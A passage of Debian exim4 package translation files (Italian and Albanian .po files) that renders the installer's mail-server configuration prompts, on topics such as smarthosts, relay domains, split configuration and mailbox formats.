"disabilitata in tutti quelli che hanno una connessione permanente ad " "Internet." #. Type: title #. Description #: ../exim4-config.templates:12001 msgid "Mail Server configuration" msgstr "Configurazione del server di posta" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "Split configuration into small files?" msgstr "Dividere la configurazione in molti piccoli file?" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "The Debian exim4 packages can either use 'unsplit configuration', a single " "monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " "where the actual Exim configuration files are built from about 50 smaller " "files in /etc/exim4/conf.d/." msgstr "" "I pacchetti Debian di exim4 possono generare la configurazione finale a " "partire da un file di configurazione monolitico (/etc/exim4/exim4.conf." "template), oppure da 50 piccoli file in /etc/exim4/conf.d." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "Unsplit configuration is better suited for large modifications and is " "generally more stable, whereas split configuration offers a comfortable way " "to make smaller modifications but is more fragile and might break if " "modified carelessly." msgstr "" "La prima alternativa è migliore in caso di grosse modifiche ed è " "generalmente più stabile, l'altra è più comoda per fare piccole modifiche ma " "è più fragile e potrebbe dare problemi se si apportano modifiche incaute." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "A more detailed discussion of split and unsplit configuration can be found " "in the Debian-specific README files in /usr/share/doc/exim4-base." msgstr "" "Una descrizione più dettagliata sulla configurazione divisa o meno in file è " "disponibile del README specific per Debian in /usr/share/doc/exim4-base/" "README.Debian.gz." #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "Hide local mail name in outgoing mail?" msgstr "Omettere il mail name locale dai messaggi in uscita?" #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "" "The headers of outgoing mail can be rewritten to make it appear to have been " "generated on a different system. If this option is chosen, '${mailname}', " "'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" "Path are rewritten." msgstr "" "L'intestazione dei messaggi in uscita può essere cambiata in modo da far " "sembrare che il messaggio arrivi da un'altro sistema. Se viene scelta questa " "opzione, «${mailname}», «localhost» e «${dc_other_hostnames}» nei campi " "From, Reply-To, Sender e Return-Path saranno riscritti." #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "mbox format in /var/mail/" msgstr "Formato mbox in /var/mail/" #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "Maildir format in home directory" msgstr "Formato Maildir nelle directory utente" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "Delivery method for local mail:" msgstr "Modalità di consegna per la posta locale:" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Exim is able to store locally delivered email in different formats. The most " "commonly used ones are mbox and Maildir. mbox uses a single file for the " "complete mail folder stored in /var/mail/. With Maildir format every single " "message is stored in a separate file in ~/Maildir/." msgstr "" "Exim ha la possibilità di memorizzate i messaggi consegnati in diversi " "formati. I più diffusi sono mbox e Maildir. Il primo utilizza un singolo " "file per ogni casella in /var/mail/, mentre il secondo usa per ogni " "messaggio un file memorizzato in ~/Maildir/." #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Please note that most mail tools in Debian expect the local delivery method " "to be mbox in their default." msgstr "" "Notare che molti strumenti in Debian si aspettano che la consegna locale " "venga fatta utilizzando il formato mbox." debian/po/sq.po0000644000000000000000000007631112027557533010610 0ustar # Translators, if you are not familiar with the PO format, gettext # documentation is worth reading, especially sections dedicated to # this format, e.g. by running: # info -n '(gettext)PO Files' # info -n '(gettext)Header Entry' # Some information specific to po-debconf are available at # /usr/share/doc/po-debconf/README-trans # or http://www.debian.org/intl/l10n/po-debconf/README-trans # Developers do not need to manually edit POT or PO files. # # msgid "" msgstr "" "Project-Id-Version: exim 4.63\n" "Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" "POT-Creation-Date: 2007-07-18 08:29+0200\n" "PO-Revision-Date: 2008-05-12 13:33+0100\n" "Last-Translator: Elian Myftiu \n" "Language-Team: Debian L10n Albanian \n" "Language: \n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "Remove undelivered messages in spool directory?" msgstr "T'i fshij mesazhet e pashpërndarë nga dosja spool?" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "There are e-mail messages in the Exim spool directory /var/spool/exim4/" "input/ which have not yet been delivered. Removing Exim will cause them to " "remain undelivered until Exim is re-installed." msgstr "" "Ka mesazhe e-mail në dosjen spool /var/spool/exim4/input që ende nuk janë " "shpërndarë. Nëse heq Exim këto mesazhe do mbesin të padërguar deri kur Exim " "do të reinstalohet." #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "If this option is not chosen, the spool directory is kept, allowing the " "messages in the queue to be delivered at a later date after Exim is re-" "installed." msgstr "" "Nëse kjo mundësi nuk zgjidhet, dosja spool ruhet, duke lejuar që mesazhet në " "rradhe të dërgohen në një datë të mëvonshme pas reinstalimit të Exim." #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "Reconfigure exim4-config instead of this package" msgstr "Rikonfiguro exim4-config në vend të kësaj pakete" #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "" "Exim4 has its configuration factored out into a dedicated package, exim4-" "config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." msgstr "" "Exim4 e ka konfigurimin e tij në një paketë të përkushtuar, exim4-config. " "Nëse dëshiron të rikonfigurosh Exim4, përdor 'dpkg-reconfigure exim4-config'." #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "internet site; mail is sent and received directly using SMTP" msgstr "në internet; posta dërgohet dhe tërhiqet duke përdorur SMTP" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; received via SMTP or fetchmail" msgstr "postë e dërguar nga smarthost; marrë prej SMTP-së ose fetchmail" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; no local mail" msgstr "postë dërguar nga smarhost; asnjë postë lokale" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "local delivery only; not on a network" msgstr "vetëm shpërndarje lokale; jo në një rrjet" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "no configuration at this time" msgstr "pa konfigurim tani për tani" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "General type of mail configuration:" msgstr "Konfigurim i postës së përgjithshme:" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Please select the mail server configuration type that best meets your needs." msgstr "" "Të lutem zgjidh llojin e konfigurimit të shërbyesit postar që i përshtatet " "më së miri nevojave të tua." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Systems with dynamic IP addresses, including dialup systems, should " "generally be configured to send outgoing mail to another machine, called a " "'smarthost' for delivery because many receiving systems on the Internet " "block incoming mail from dynamic IP addresses as spam protection." msgstr "" "Sistemet me adresë IP dinamike, duke përfshirë sistemet me lidhje telefonike " "zakonisht duhet të konfigurohen që të dërgojnë postën e jashtme tek një " "kompjuter tjetër, i quajtur 'strehues i zgjuar'. për shpërndarjen për shkak " "se shumë sisteme marrës në Internet bllokojnë mesazhet në ardhje nga adresa " "me IP dinamike si mbrojtje ndaj spam-it." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "A system with a dynamic IP address can receive its own mail, or local " "delivery can be disabled entirely (except mail for root and postmaster)." msgstr "" "Një sistem me një adresë IP dinamke mund të pranojë mesazhet e tij, ose " "shpërndarja lokale mund të çaktivizohet i tëri (përveç mesazheve për root " "dhe postmaster)." #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "Really leave the mail system unconfigured?" msgstr "Vërtet t'a lë sistemin e postës të pakonfiguruar?" #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "" "Until the mail system is configured, it will be broken and cannot be used. " "Configuration at a later time can be done either by hand or by running 'dpkg-" "reconfigure exim4-config' as root." msgstr "" "Deri sa sistemi i postës të jetë konfiguruar, do jetë i pamundur përdorimi. " "Konfigurimi i mëvonshëm mund të bëhet ose me dorë ose duke ekzekutuar 'dpkg-" "reconfigure exim4-config' si root." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "System mail name:" msgstr "Emri i sistemit të postës:" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "The 'mail name' is the domain name used to 'qualify' mail addresses without " "a domain name." msgstr "" "'mail name' është emri i domain-it i përdorur për të 'kualifikuar' adresa " "poste pa një emër domain-i." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name will also be used by other programs. It should be the single, " "fully qualified domain name (FQDN)." msgstr "" "Ky emër do të përdoret gjithashtu nga programe të tjerë. Duhet të jetë i " "vetmi emër domain-i i plotë (FQDN)." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "Thus, if a mail address on the local host is foo@example.org, the correct " "value for this option would be example.org." msgstr "" "Kështu që, nëse një adrese poste në një kompjuter lokal është kot@shembull." "org, vlera e saktë për këtë mundësi do të ishte shembull.org." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name won't appear on From: lines of outgoing messages if rewriting is " "enabled." msgstr "" "Ky emër nuk do të shfaqet në rreshtat Nga: prej mesazheve në dalje nëse " "aktivizon rishkrimin." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "Other destinations for which mail is accepted:" msgstr "Vendmbërritje të tjera për të cilat posta pranohet:" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "machine should consider itself the final destination. These domains are " "commonly called 'local domains'. The local hostname (${fqdn}) and " "'localhost' are always added to the list given here." msgstr "" "Të lutem shkruaj një listë të ndarë me pikëpresje domain-esh marrës për të " "cilët ky kompjuter duhet të konsiderojë veten si vendmbërritja e fundit. " "Këto domain-e zakonisht quhen 'domain-e lokalë'. Emri i strehuesit lokal " "(${fqdn}) dhe 'localhost' duhen shtuar gjithmonë në këtë listë." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "By default all local domains will be treated identically. If both a.example " "and b.example are local domains, acc@a.example and acc@b.example will be " "delivered to the same final destination. If different domain names should be " "treated differently, it is necessary to edit the config files afterwards." msgstr "" "Parazgjedhja është që të gjitha domain-at do të trajtohen njëlloj. Nëse si a." "shembull dhe b.shembull janë domain-a lokalë, llog@a.shembull dhe llog@b." "shembull do të dërgohen tek vendmbërritja finale. Nëse domain-a të ndryshëm " "duhet të trajtohen ndryshe, do të duhet të ndryshosh skedat e konfigurimit " "më tej." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Domains to relay mail for:" msgstr "Domain-a ku duhet lënë posta:" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "system will relay mail, for example as a fallback MX or mail gateway. This " "means that this system will accept mail for these domains from anywhere on " "the Internet and deliver them according to local delivery rules." msgstr "" "Të lutem fut një listë të ndarë me pikëpresje domain-ash marrës për të cilët " "ky sistem do të pasojë mesazhe,p.sh një MX fallback ose gateway poste. Kjo " "nënkupton që ky sistem do të pranojë mesazhe për këto domain-a kudo nga " "Interneti dhe do t'i nisë ato sipas rregullash të caktuar dërgimi." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Do not mention local domains here. Wildcards may be used." msgstr "" "Mos përmend domain lokalë këtu. Mund të përdoren gërma gjithpërfshirëse." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "Machines to relay mail for:" msgstr "Kompjuteri ku duhet lënë posta:" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "Please enter a semicolon-separated list of IP address ranges for which this " "system will unconditionally relay mail, functioning as a smarthost." msgstr "" "Të lutem fut një listë të ndarë me pikëpresje shtrirjesh adrese IP për të " "cilën ky sistem do të pasojë arbitrarisht postën, duke punuar si një " "'strehues i zgjuar'." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " "5f03:1200:836f::/48)." msgstr "" "Duhet të përdorësh formatin standard adresë/prefiks (p.sh. 194.222.242.0/24 " "ose 5f03:1200:836f::/48)." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "If this system should not be a smarthost for any other host, leave this list " "blank." msgstr "" "Nëse ky sistem nuk do jetë një \"strehues i zgjuar\" për ndonjë kompjuter, " "lëre bosh këtë listë." #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "Visible domain name for local users:" msgstr "Emri i dukshëm i domain-it për përdoruesit lokalë:" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "" "The option to hide the local mail name in outgoing mail was enabled. It is " "therefore necessary to specify the domain name this system should use for " "the domain part of local users' sender addresses." msgstr "" "Mundësia për të fshehur emrin e postës lokale në mesazhet në dalje u " "aktivizua. Pra është e nevojshme të saktësosh emrin e domain-it që ky sistem " "duhet të përdorë për pjesën e domain-it në adresat e përdoruesve lokalë." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "IP address or host name of the outgoing smarthost:" msgstr "Adresa IP ose emri i \"strehuesit të zgjuar\" dërgues:" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "Please enter the IP address or the host name of a mail server that this " "system should use as outgoing smarthost. If the smarthost only accepts your " "mail on a port different from TCP/25, append two colons and the port number " "(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " "IPv6 addresses need to be doubled." msgstr "" "Të lutem fut adresën IP ose emrin e strehuesit të një shërbyesi poste që ky " "sistem duhet të përdorë si \"strehues i zgjuar\" dërgues. Nëse \"strehuesi i " "zgjuar\" pranon postën tënde vetëm në një portë të ndryshme nga TCP/25, " "shtoi dy \":\" dhe numrin e portës (për shembull strehuesizgjuar." "shembull::587 ose 192.168.254.254::2525). Dy pikat në adresat IPv6 duhen " "dyfishuar." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "If the smarthost requires authentication, please refer to the Debian-" "specific README files in /usr/share/doc/exim4-base for notes about setting " "up SMTP authentication." msgstr "" "Nëse 'strehuesi i zgjuar' kërkon vërtetim, të lutem drejtoju skedave " "përkatëse README të Debian-it në /usr/share/doc/exim4-base/ për shënime " "rreth rregullimit të SMTP-së." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Root and postmaster mail recipient:" msgstr "Marrësi i postës për root dhe postmaster:" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Mail for the 'postmaster', 'root', and other system accounts needs to be " "redirected to the user account of the actual system administrator." msgstr "" "Posta për 'postmaster', 'root', dhe llogari të tjera sistemi duhet të " "pasohet në llogarinë e përdoruesit të administruesit aktual të sistemit." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "If this value is left empty, such mail will be saved in /var/mail/mail, " "which is not recommended." msgstr "" "Nëse kjo vlerë lihet bosh, mesazhe të tilla do të ruhen në /var/mail/mail, " "gjë e cila nuk këshillohet." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Note that postmaster's mail should be read on the system to which it is " "directed, rather than being forwarded elsewhere, so (at least one of) the " "users listed here should not redirect their mail off this machine. A 'real-' " "prefix can be used to force local delivery." msgstr "" "Vër re që posta e postmaster-it duhet të lexohet nga sistemi për ku " "drejtohet, jo të ridrejtohet tjetërkund, kështu që (të paktën një nga ) " "përdoruesit që zgjedh nuk duhet të ridërgojnë postën jashtë këtij " "kompjuteri. Një prefiks 'real-' mund të përdoret për të detyruar " "shpërndarjen lokale." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Multiple user names need to be separated by spaces." msgstr "Emra të shumëfishtë përdoruesi duhen ndarë me hapësira." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "IP-addresses to listen on for incoming SMTP connections:" msgstr "Adresat-IP në pritje të lidhjeve hyrëse SMTP:" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "Please enter a semicolon-separated list of IP addresses. The Exim SMTP " "listener daemon will listen on all IP addresses listed here." msgstr "" "Të lutem fut një listë të ndarë me pikëpresje adresash IP. Daemon dëgjues " "SMTP i Exim do të mbajë vesh në të gjitha adresat IP e rradhitura këtu." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "An empty value will cause Exim to listen for connections on all available " "network interfaces." msgstr "" "Një vlerë bosh do të bëjë që Exim të dëgjojë për lidhje në të gjitha " "ndërfaqet e mundshme të rrjetit." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "If this system only receives mail directly from local services (and not from " "other hosts), it is suggested to prohibit external connections to the local " "Exim daemon. Such services include e-mail programs (MUAs) which talk to " "localhost only as well as fetchmail. External connections are impossible " "when 127.0.0.1 is entered here, as this will disable listening on public " "network interfaces." msgstr "" "Nëse ky sistem merr mesazhe e-email drejtpërsëdrejti nga shërbime lokale " "(dhe jo nga strehues të tjerë) këshillohet t'i ndalosh lidhjet e jashtme për " "tek Exim. Shërbime të tilla përfshijnë programe e-mail (MUA) që komunikojnë " "vetëm me strehën lokale ose me fetchmail. Lidhjet e jashtme janë të " "pamundura kur 127.0.0.1 futet këtu, meqë kjo do të çaktivizojë dëgjimin në " "ndërfaqe rrjeti publikë." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" msgstr "Ta ruaj numrin minimal të pyetjeve-DNS (Dial-on-Demand)?" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "In normal mode of operation Exim does DNS lookups at startup, and when " "receiving or delivering messages. This is for logging purposes and allows " "keeping down the number of hard-coded values in the configuration." msgstr "" "Në mënyrën normale të veprimit Exim kryen kontrolle-DNS në fillim, dhe kur " "tërheq apo shpërndan mesazhe. Kjo ndodh për qëllime regjistrimesh dhe lejon " "mbajtjen ulët të numrit të vlerave hard-coded në konfigurim." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "If this system does not have a DNS full service resolver available at all " "times (for example if its Internet access is a dial-up line using dial-on-" "demand), this might have unwanted consequences. For example, starting up " "Exim or running the queue (even with no messages waiting) might trigger a " "costly dial-up-event." msgstr "" "Nëse ky sistem nuk ka një zgjidhës shërbimi të plotë DNS-je të përhershëm " "(për shembull lidhet me Internetin me një linjë dial-up duke përdoru " "telefonin) kjo mund të kishte rrjedhojë të padëshirueshme. Për shembull duke " "nisur Exim ose kur duke ekzekutuar rradhën (edhe pa asnjë mesazh në pritje) " "mund të shkaktojë një ngjarje me kosto të madhe." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "This option should be selected if this system is using Dial-on-Demand. If it " "has always-on Internet access, this option should be disabled." msgstr "" "Kjo mundësi duhet zgjedhur nëse ky sistem është duke përdorur Dial-on-" "Demand. Nëse ka gjithmonë hyrje në Internet, kjo mundësi nuk duhet " "aktivizuar." #. Type: title #. Description #: ../exim4-config.templates:12001 msgid "Mail Server configuration" msgstr "Konfigurim Shërbimi Poste" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "Split configuration into small files?" msgstr "Ta ndaj konfigurimin në skeda të vogla?" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "The Debian exim4 packages can either use 'unsplit configuration', a single " "monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " "where the actual Exim configuration files are built from about 50 smaller " "files in /etc/exim4/conf.d/." msgstr "" "Paketat exim4 në Debian mund të përdorin 'konfigurim të vetëm', një skedë të " "vetme (/etc/exim4/exim4.conf.template) ose 'konfigurim të ndarë', ku skedat " "e pranishme të konfigurimit Exim përbëhen nga rreth 50 skeda më të vogla në /" "etc/exim4/conf.d/." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "Unsplit configuration is better suited for large modifications and is " "generally more stable, whereas split configuration offers a comfortable way " "to make smaller modifications but is more fragile and might break if " "modified carelessly." msgstr "" "Mënyra e parë është më e përdorshme për ndryshime të mëdha dhe zakonisht " "është më e qëndrueshme, ndërsa e dyta ofron një mënyrë të rehatshme për të " "kryer ndryshime më të vogla por është me e brishtë dhe mund të krijojë " "probleme nëse ndryshohet pa kujdes." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "A more detailed discussion of split and unsplit configuration can be found " "in the Debian-specific README files in /usr/share/doc/exim4-base." msgstr "" "Në diskutim më i detajuar mbi konfigurimin ndarë dhe bashkuar mund të " "gjendet në skedat e veçanta README të Debian-it në /usr/share/doc/exim4-base." #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "Hide local mail name in outgoing mail?" msgstr "Ta fsheh emrin e postës lokale në mesazhet në dalje?" #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "" "The headers of outgoing mail can be rewritten to make it appear to have been " "generated on a different system. If this option is chosen, '${mailname}', " "'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" "Path are rewritten." msgstr "" "Kryet e mesazheve në dalje mund të rishkruhen që të shfaqen sikur të jenë " "prodhuar në një sistem të ndryshëm. Nëse zgjidhet kjo mundësi, " "'${mailname}', 'localhost' dhe '${dc_other_hostnames}' në Nga, Përgjigju, " "Dërguesi dhe Shteg-Kthimi do të mbishkruhen." #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "mbox format in /var/mail/" msgstr "Formati mbox në /var/mail/" #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "Maildir format in home directory" msgstr "Formati Maildir në dosjen home" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "Delivery method for local mail:" msgstr "Mënyra e dërgimit për postë lokale:" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Exim is able to store locally delivered email in different formats. The most " "commonly used ones are mbox and Maildir. mbox uses a single file for the " "complete mail folder stored in /var/mail/. With Maildir format every single " "message is stored in a separate file in ~/Maildir/." msgstr "" "Exim është i aftë të ruajë mesazhet e dërguar lokalisht në formate të " "ndryshëm. Ato më të përdorshmit janë mbox dhe Maildir. mbox përdor një skedë " "të vetme për tërë dosjen postare të ruajtur në /var/mail/. Me formatin " "Maildir çdo mesazh i vetëm ruhet në një skedë të ndarë në ~/Maildir/." #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Please note that most mail tools in Debian expect the local delivery method " "to be mbox in their default." msgstr "" "Të lutem vër re që veglat më të shumta të postës në Debian presin që metoda " "e dërgimit lokal të jetë mbox si e parazgjedhur e tyre." #, fuzzy #~ msgid "Move undelivered mails from exim 3 to exim4 spool?" #~ msgstr "" #~ "T'i zhvendos mesazhet e pashpërndarë nga spool i exim(v3) në atë të exim4?" #, fuzzy #~ msgid "" #~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool " #~ "directory /var/spool/exim/input/." #~ msgstr "" #~ "Ka disa mesazhe të padërguar në dosjen spool të exim(v3) (ose exim-tls" #~ "(v3)) /var/spool/exim/input/." #~ msgid "" #~ "Choosing this option will move these messages to exim4's spool (/var/" #~ "spool/exim4/input/) where they will be handled by exim4." #~ msgstr "" #~ "Nëse zgjedh këtë mundësi mesazhet do të zhvendosen në dosjen spool të " #~ "exim4 (/var/spool/exim4/input/) ku do organizohen nga exim4." #, fuzzy #~ msgid "" #~ "This works only one-way: Exim4 can handle Exim 3 spool but not vice-" #~ "versa. If you reject this option, you need to move the messages yourself " #~ "or they will never be delivered." #~ msgstr "" #~ "Kjo punon vetëm një-kalimthi: Exim4 mund të trajtojë spool e exim(v3) por " #~ "jo anasjellas. Duhet të lëvizësh mesazhet vetëm nëse nuk planifikon të " #~ "kthehesh prapa tek exim(v3). Përndryshe, mesazhet duhen lëvizur dorazi më " #~ "vonë." #~ msgid "Leaving this list blank will have Exim do no local deliveries." #~ msgstr "Nëse e le bosh këtë Exim nuk do të dërgojë postë lokale." #~ msgid "" #~ "Be aware that this works only one-way, exim4 can handle exim(v3)'s spool " #~ "but not the other way round." #~ msgstr "" #~ "Kujdes pasi kjo funksionon vetëm në një mënyrë, exim4 mund të suportojë " #~ "spool e exim(v3), por jo anasjelltas." #~ msgid "" #~ "Move the mails only if you don't plan to go back to exim(v3), otherwise " #~ "the mail shouldn't be moved now but manually once you've converted your " #~ "setup." #~ msgstr "" #~ "Lëviz mesazhet vetëm nëse nuk synon të kthehesh mbrapsht tek exim(v3), " #~ "përndryshe posta nuk duhet lëvizur tani por manualisht pasi të kesh " #~ "kthyer rregullimet e reja." #, fuzzy #~ msgid "" #~ "If there are any more, enter them here, separated by semicolons. You may " #~ "leave this blank if there are none." #~ msgstr "" #~ "Nëse ka ndonjë, shkruaji këtu, ndarë nga dy pika. Mund ta lësh bosh nëse " #~ "nuk ka asnjë." #, fuzzy #~ msgid "" #~ "Please enter here the domains for which this system will relay mail, for " #~ "example as a fallback MX or mail gateway." #~ msgstr "Të lutem fut këtu emrin e domain-ave ku vendos të lësh postën." #~ msgid "" #~ "Such domains are domains for which you are prepared to accept mail from " #~ "anywhere on the Internet. Do not mention local domains here." #~ msgstr "" #~ "Domain-a të tillë janë ato për të cilët ti përgatitesh të pranosh mesazhe " #~ "poste nga Interneti. Mos përmend domain-a lokalë këtu." #, fuzzy #~ msgid "" #~ "The domains entered here should be separated by semicolons. Wildcards may " #~ "be used." #~ msgstr "" #~ "Domain-at që shkruan këtu duhen ndarë nga dy pika. Këtu mund të përdorësh " #~ "gërmat gjithëpërfshirëse (wildcards)." #~ msgid "" #~ "Since you enabled hiding the local mailname in outgoing mail, you must " #~ "specify the domain name to use for mail from local users; typically this " #~ "is the machine on which you normally receive your mail." #~ msgstr "" #~ "Përderisa aktivizove fshehjen e emrit të postës lokale në postën dalëse, " #~ "duhet të përcaktosh emrin e domain-it që do përdoret për postën e " #~ "përdoruesve lokalë; zakonisht ky është emri i kompjuterit ku tërheq " #~ "postën." #~ msgid "Where will your users read their mail?" #~ msgstr "Ku do ta lexojnë postën përdoruesit e tu?" #~ msgid "Machine handling outgoing mail for this host (smarthost):" #~ msgstr "" #~ "Kompjuterat që merren me postën dalëse për këtë strehues (smarthost):" #~ msgid "Enter the hostname of the machine to which outgoing mail is sent." #~ msgstr "" #~ "Shkruaj emrin e strehuesit për kompjuterin ku dërgohet posta dalëse." #~ msgid "" #~ "Enable this feature if you are using Dial-on-Demand; otherwise, disable " #~ "it." #~ msgstr "" #~ "Aktivizoje këtë mundësi nëse je duke përdorur Dial-on-Demand; përndryshe, " #~ "çaktivizoje." #, fuzzy #~ msgid "Select the mail server configuration type that best fits your needs." #~ msgstr "" #~ "Zgjidh llojin e konfigurimit që më së miri i përshtatet nevojave të tua." #~ msgid "If you are unsure then you should not use split configuration." #~ msgstr "Nëse nuk je i sigurtë nuk duhet të zgjedhësh konfigurimin e ndarë." #~ msgid "manually convert from handcrafted Exim v3 configuration" #~ msgstr "kthim me dorë nga konfigurimi i Exim v3" #~ msgid "Configure Exim4 manually?" #~ msgstr "Ta konfiguroj Exim4 me dorë?" #~ msgid "" #~ "You indicated that you have a handcrafted Exim 3 configuration. To " #~ "convert this to Exim 4, you can use the exim_convert4r4(8) tool after the " #~ "installation. Consult /usr/share/doc/exim4-base/examples/example.conf.gz " #~ "and /usr/share/doc/exim4-base/README.Debian.gz!" #~ msgstr "" #~ "Konfigurimi i Exim 3 është kryer me dorë. Për ta kthyer këtë të fundit në " #~ "Exim4, duhet të përdorësh veglën exim_convert4r4(8) pas instalimit. " #~ "Këshillo /usr/share/doc/exim4-base/examples/example.conf.gz dhe /usr/" #~ "share/doc/exim4-base/README.Debian.gz!" #~ msgid "" #~ "Until your mail system is configured, it will be broken and cannot be " #~ "used." #~ msgstr "" #~ "Deri sa sistemi yt i postës të jetë konfiguruar, do jetë i pamundur " #~ "përdorimi." #~ msgid "" #~ "Your \"mail name\" is the hostname portion of the address to be shown on " #~ "outgoing news and mail messages (following the username and @ sign) " #~ "unless hidden with rewriting." #~ msgstr "" #~ "\"emri i postës\" është pjesa e adresës së hostname-it që do shfaqet në " #~ "lajmet dhe mesazhet e postës në dalje (duke ndjekur emrin e përdoruesit " #~ "dhe shenjën @) në mos e fshehur nga rishkrimi." #~ msgid "" #~ "Please enter here the networks of local machines for which you accept to " #~ "relay the mail." #~ msgstr "" #~ "Të lutem shkruaj këtu rrjetet e kompjuterave lokalë për të cilët pranon " #~ "të lësh postën." #~ msgid "" #~ "This should include a list of all machines that will use us as a " #~ "smarthost." #~ msgstr "" #~ "Këtu duhet përfshirë një listë kompjuterash që do të na përdorin si " #~ "\"strehues të zgjuar\"." #~ msgid "" #~ "You need to double the colons in IPv6 addresses (e.g. " #~ "5f03::1200::836f::::/48)" #~ msgstr "" #~ "Duhet të dopjosh kolonat në adresat IPv6 